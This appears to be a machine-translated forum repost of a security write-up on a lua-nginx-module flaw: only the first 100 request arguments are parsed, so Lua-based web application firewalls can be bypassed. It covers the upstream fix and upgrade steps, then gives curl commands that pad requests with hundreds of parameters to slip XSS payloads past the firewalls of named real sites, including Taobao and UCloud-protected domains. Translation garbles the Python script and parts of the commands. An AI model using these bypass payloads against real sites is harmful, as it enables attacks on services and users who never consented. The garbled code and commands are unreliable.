Dit artikel is een spiegelartikel van machinevertaling, klik hier om naar het oorspronkelijke artikel te gaan.

Bekijken: 16994|Antwoord: 1

[Beveiligingskwetsbaarheid] Nginx Lua's WAF Application Firewall-kwetsbaarheid

[Link kopiëren]
Geplaatst op 27-04-2018 09:23:29 | | | |
Wanneer ginx Lua parameters verkrijgt, worden standaard de eerste 100 parameterwaarden verkregen, en de rest wordt weggegooid.
Daarom worden WAF's die Nginx Lua gebruiken standaard omzeild.
Op 20 en 18 april had iemand van de beveiligingspassagier dit detail al bekendgemaakt, dus heb ik ook artikel 233 gepubliceerd.



Principe

De officiële beschrijving is als volgt

Let op dat maximaal 100 request-argumenten standaard worden geanalyseerd (inclusief die met dezelfde naam) en dat extra request-argumenten stilletjes worden weggegooid om potentiële te voorkomen Denial of service-aanvallen.

Tot 100 verzoekparameters (inclusief die met dezelfde naam) kunnen standaard worden geanalyseerd, en extra verzoekparameters worden automatisch verwijderd om mogelijke denial-of-service-aanvallen te voorkomen.

Zoek 100, de volgende methode heeft ongeveer hetzelfde probleem.
ngx.req.get_uri_args Haal de verzoekparameters voor get
ngx.req.get_post_args Haal de verzoekparameters voor het bericht
ngx.req.get_headers Haal de verzoekheader
ngx.decode_args Decodeer de URL van de parameters
ngx.resp.get_headers Haal de antwoordheader
In de broncode van de lua-nginx-module zien we dat de broncode de standaard maximale verzoekparameter en header op 100 zet




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

De official biedt echter een methode om de standaardwaarde aan te passen, zoals ngx.req.get_uri_args (200) om de eerste 200 verzoekparameters te verkrijgen.

Test

Als de verzoekparameter 101 is, kan de laatste verzoekparameter niet worden verkregen.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Als je één verzoekparameter verlaagt, kun je de laatste verzoekparameter krijgen wanneer de verzoekparameters precies 100 zijn.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
A: ZBG
Ik heb je, zbg

Let op dat de standaard inderdaad 100 verzoekparameters zijn, en de verzoekparameters na 100 verzoekparameters worden weggegooid.

Er is iets vreemds dat in de bovenstaande return-inhoud, midden in de ruwe positie, de uiteindelijke zbg-parameter al wordt uitgevoerd. Mijn gok is dat de output niet in volgorde is, maar de volgorde waarin de parsing plaatsvindt volgt wel de volgorde waarin de parameters worden ingediend, omdat wanneer de waarde van de 101e parameter zbg is, de waarde niet kan worden verkregen.

Bijgevoegd is het python-script dat de parameters genereert:

# Auteur: ZBG
# mail:zbg@zbg.org
# datum: 2018-04-03

a = ''
voor i in bereik (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Druk een
repareren
Natuurlijk wordt het niet aanbevolen om de MAX-waarde van de parameter in de broncode aan te passen. Want hoe groot de waarde ook is die je zet, die kan worden omzeild. Het wordt aanbevolen om deze binnen de parameters van de methode te zetten.
Als je de lengte van de verzoekparameter kunt krijgen en een methode als ngx.req.get_uri_args (lenth) kunt gebruiken, zou dat dan niet genoeg zijn?
Toen ik de documentatie las, ontdekte ik dat het aantal gevraagde parameters niet kon worden verkregen. Als je echter de lenth op 0 zet, kun je alle gevraagde parameters krijgen.

Dit argument kan op nul worden gezet om de limiet te verwijderen en om alle ontvangen verzoekargumenten te verwerken.
Lokale ARGS = ngx.req.get_uri_args(0)

Het wordt echter sterk afgeraden om het op 0 te zetten om mogelijke denial-of-service-aanvallen te voorkomen.

Het verwijderen van de max_args kap wordt sterk afgeraden.

Eigenlijk vroeg ik me af waarom het instellen van 0 zou leiden tot een mogelijke denial of service-aanval, en het verzoek toch naar nginx zou gaan, ongeacht hoeveel parameters er in get of post zitten.

Ik heb een probleem aangekaart bij de official, en de auteur zei dat ngx.req.get_uri_args (0) het CPU- en geheugengebruik van de server zal verhogen. Later testte ik 200 parameters en gebruikte Nginx+php om de 200e parameter te verkrijgen, wat betekent dat Nginx standaard het aantal gevraagde parameters niet beperkt. Dan kan het probleem bij Nginx Lua zelf liggen,Wanneer Nginx Lua ngx.req.get_uri_args(0) gebruikt om alle parameters te krijgen en erdoorheen iterert, verbruikt het meer CPU en geheugen zodra er veel parameters zijn gevraagd, en leidt het uiteindelijk zelfs tot een denial of service

Op 03-04-2018 meldde Bypass007 officieel een PROBLEEM over deze bugfix, en voegde op 21-04-2018 officieel een nieuwe functie toe op basis van dit PROBLEEM. Het commit-recordadres van deze functie: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

De functiebeschrijving is als volgt: In versies na v0.10.13 (inclusief v0.10.13), wanneer het limietaantal verzoeken wordt overschreden, is de tweede retourwaarde de afgeknotte string.
Sinds v0.10.13, wanneer de limiet wordt overschreden, wordt een tweede waarde teruggegeven die de string is die "afgeknot" is.
Het optionele argument max_args functie kan echter worden gebruikt om deze limiet te overschrijven:
Lokale ARG's, ERR = ngx.req.get_uri_args(10)
als err == "afgeknot" dan
     -- men kan ervoor kiezen het huidige verzoek hier te negeren of af te wijzen
einde

Dus, de definitieve oplossing kwam uit.

Upgrade lua-nginx-module naar v0.10.13 of later

Beperk dan het totale aantal parameters, want voor hoeveel het totale aantal beperkt is, vind ik persoonlijk dat 100 genoeg is

OpenResty verbetert de lua-nginx-module module

Ik vond geen informatie over de OpenResty-upgrademodule, dus heb ik zelf uitgezocht hoe ik de lua-nginx-module module kon upgraden.

De stappen zijn als volgt:

Download de bijbehorende versie van de lua-nginx-module module
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
uitpakken
tar -zxvf v0.10.13
Verwijder de vorige lua-nginx-module versie
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopieer de nieuwe lua-nginx-module
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Voor compilatie, raadpleeg de compilatieparameters van VeryNginx


Omleiding van de behuizing

Het moet worden verduidelijkt dat ik bij de volgende WAF's niet zeker weet of ik Nginx Lua moet gebruiken, maar ze kunnen worden omzeild door het totale aantal parameters.

Ali WAF

Deze WAF is een WAF die intern wordt gebruikt door Alibaba, dat wil zeggen de WAF die wordt gebruikt door domeinnamen zoals *.taobao.com, en is niet getest voor de cloud-WAF die door Alibaba Cloud wordt verkocht.
Vraag eerst een POST XSS Payload aan om deze te onderscheppen.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Via Fuzz werd vastgesteld dat wanneer het aantal parameters wordt verhoogd tot 478 met XSS Payload, deze niet langer wordt onderschept en de website normaal toegankelijk is.
Krul -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&a22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&a47=47&A48=48&A49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&a91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a1111=111=111&a112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133&a134=134& A135=135&A136=136&A137=137&A138=138&A139=139&A140=140&A141=141&A142=142&A143=143&A144=144=144&A145=145&A146=146&A147=147&a148=148&A149=149&A150=150&A151=151=151&A152=152&A153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& A172=172&A173=173&A174=174&A175=175&A176=176&A177=177&A178=178&A179=179&A180=180&A181=181&A182=182&A183=183&A184=184&A185=185&A186=186&A187=187&A188=188&A189=189&A190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& A209=209&A210=210&A211=211&A212=212&A213=213&A214=214&A215=215&A216=216&A217=217&A218=218&A219=219&A220=220&A221=221&A222=222=22&A223=23&A224=24&A225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& A246=246&A247=247&A248=248&A249=249&A250=250&A251=251&A252=252&A253=253&A254=254&A255=255&A256=256&A257=257&A258=258&A259=259&A260=260&A261=261&a262=262&A263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& A283=283&A284=284&A285=285&a286=286&a287=287&A288=288&a289=289&a290=290&A291=291&A292=292&A293=293&A294=294&A295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& A320=320&A321=321&A322=322&A323=323&A324=324&A325=325&A326=326&A327=327&A328=328&A329=329&A330=330&A331=331&A332=332&A333=33&A334=334&A335=35&A336=336&A337=37&A338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&a372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&A395=395&A396=396&A397=397&A398=398&A399=399&A400=400&A401=401&A402=402&A403=403&A404=404&A405=405&a406=406&a407=407&a408=408&a409=409&A410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& A431=431&A432=432&A433=433&A434=434&A435=435&A436=436&A437=437&A438=438&A439=439&A440=440&A441=441&A442=442&A443=443&A444=444=444=445&a446=446=447&A448=48&A449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466=467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476=476&a477=477&a=<Img SRC=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

De geteste WAF is een WAF die door UCloud wordt verkocht.
Wanneer de verzoekparameter wordt verhoogd naar 138, wordt deze niet langer geblokkeerd en wordt de website normaal bezocht.
curl -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&a22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&a47=47&A48=48&A49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&a91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a1111=111=111&a112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Deze WAF is een WAF die intern door Tencent wordt gebruikt, dat wil zeggen de WAF die wordt gebruikt door domeinnamen zoals *.qq.com, en is niet getest voor de cloud-WAF die door Tencent Cloud wordt verkocht.
Wanneer de verzoekparameter stijgt naar 4000, wordt deze niet langer geblokkeerd en wordt de website normaal benaderd. Willekeurige tests van de volgende domeinen worden beïnvloed.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

samenvatting

Deze vraag is heel eenvoudig, en je kunt hem vinden door het document zorgvuldig te lezen. Maar waarom heb ik het niet ontdekt? Ik denk dat het nog steeds te weinig nadenken is.
Referentie
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Vorig:Leer Photoshop vanaf nul, 18 lessen van beginner tot god
Volgend:Sterke en zwakke punten van Lua en Luajit
Disclaimer:
Alle software, programmeermaterialen of artikelen die door Code Farmer Network worden gepubliceerd, zijn uitsluitend bedoeld voor leer- en onderzoeksdoeleinden; De bovenstaande inhoud mag niet worden gebruikt voor commerciële of illegale doeleinden, anders dragen gebruikers alle gevolgen. De informatie op deze site komt van het internet, en auteursrechtconflicten hebben niets met deze site te maken. Je moet bovenstaande inhoud volledig van je computer verwijderen binnen 24 uur na het downloaden. Als je het programma leuk vindt, steun dan de echte software, koop registratie en krijg betere echte diensten. Als er sprake is van een inbreuk, neem dan contact met ons op via e-mail.

Mail To:help@itsvse.com